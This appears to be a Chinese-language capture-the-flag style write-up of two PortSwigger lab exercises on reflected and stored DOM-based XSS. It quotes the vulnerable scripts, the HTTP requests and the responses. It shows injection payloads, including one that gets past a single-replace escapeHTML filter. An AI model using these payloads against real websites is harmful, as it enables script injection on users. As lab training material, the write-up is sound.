Reflected DOM XSS
目標網站有xss漏洞,在請求中注入\"-alert(1)}//
可確認xss漏洞,分析如下
################# request #################
GET /?search=%5C%22-alert%281%29%7D%2F%2F HTTP/2
...omit...
################# response #################
...omit...
<script src='/resources/js/searchResults.js'></script>
<script>search('search-results')</script>
<section class="blog-header">
</section>
從返回內容發現會去讀取/resources/js/searchResults.js,內容如下
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
var searchResults = searchResultsObj.results
var h1 = document.createElement("h1");
h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
blogHeader.appendChild(h1);
var hr = document.createElement("hr");
blogHeader.appendChild(hr)
...omit...
根據述上的js,會在發一個請求到search-results,如下
################# request #################
GET /search-results?search=%5C%22-alert%281%29%7D%2F%2F HTTP/2
...omit...
################# response #################
...omit...
{"results":[],"searchTerm":"\\"-alert(1)}//"}
返回內容會等於searchResults.js內的this.responseText
,並被eval('var searchResultsObj = ' + this.responseText);
這段執行
由於-
做了分隔,因此searchResultsObj
最後只讀取前半段的"results":[]
,"searchTerm":"\\"
,後半段的alert(1)}//”}會被eval()執行
如果透過chrome inspect看宣染結果,可以發現searchTerm是空的,但實際上alert(1)己經執行
<section class="blog-header">
<h1>0 search results for 'NaN'</h1><hr>
</section>
Lab: Reflected DOM XSS
Stored DOM XSS
儲存<img src=1 onerror=alert(1)>
在留言區
POST /post/comment HTTP/2
Host: 0abf000604c5e7b5808f3f4500fa00dd.web-security-academy.net
...omit...
csrf=9kAsinFgs3nFyfU1Nxg1hy7NDUxTYM4I&postId=4&comment=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E&name=aaa&email=aaa%40aaa&website=
並訪問剛儲存的頁面
################ request ################
GET /post?postId=4 HTTP/2
...omit...
################ response ################
...omit...
<script src='/resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script>
<script>loadComments('/post/comment')</script>
...omit...
從返回內容發現會去讀取/resources/js/loadCommentsWithVulnerableEscapeHtml.js,內容如下
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let avatarImgElement = document.createElement("img");
avatarImgElement.setAttribute("class", "avatar");
avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(avatarImgElement);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = escapeHTML(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
根據述上的js,會在發一個請求到/post/comment,如下
############ request ############
GET /post/comment?postId=4 HTTP/2
...omit...
############ response ############
...omit...
{"avatar":"","website":"","date":"2024-02-15T09:28:25.629590251Z","body":"<img src=1 onerror=alert(1)>","author":"aaa"}
從返回結果可以看到讀取<img src=1 onerror=alert(1)>
使用chrome inspect也可以看到有渲染成功
<p><img src=1 onerror=alert(1)></p>
但是chrome卻不會彈出任何信息,這個xss是無效的
分析原因後可以發現,/resources/js/loadCommentsWithVulnerableEscapeHtml.js內有一個過濾機制如下
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
上述安全機刺會將<
和>
做轉義
但是,這個安全機制有個小問題,當第一個參數是字串時,函數僅替換第一次出現的位置,因此只要多提供<
和>
,之後就會做轉義了,因此需要將XSS改為<><img src=1 onerror=alert(1)>
,儲存後在重新讀取一次如下
############ request ############
GET /post/comment?postId=4 HTTP/2
...omit...
############ response ############
...omit...
{"avatar":"","website":"","date":"2024-02-15T09:38:25.629590251Z","body":"<><img src=1 onerror=alert(1)>","author":"aaa"}
從返回結果可以看到讀取<><img src=1 onerror=alert(1)>
使用chrome inspect也可以看到有渲染成功
<p>
"<>"
<img src="1" onerror="alert(1)">
</p>
第一個<>
因為被轉義,所以被當成字符串,第二個則被當做代碼的一部份,並成功執行XSS
Lab: Stored DOM XSS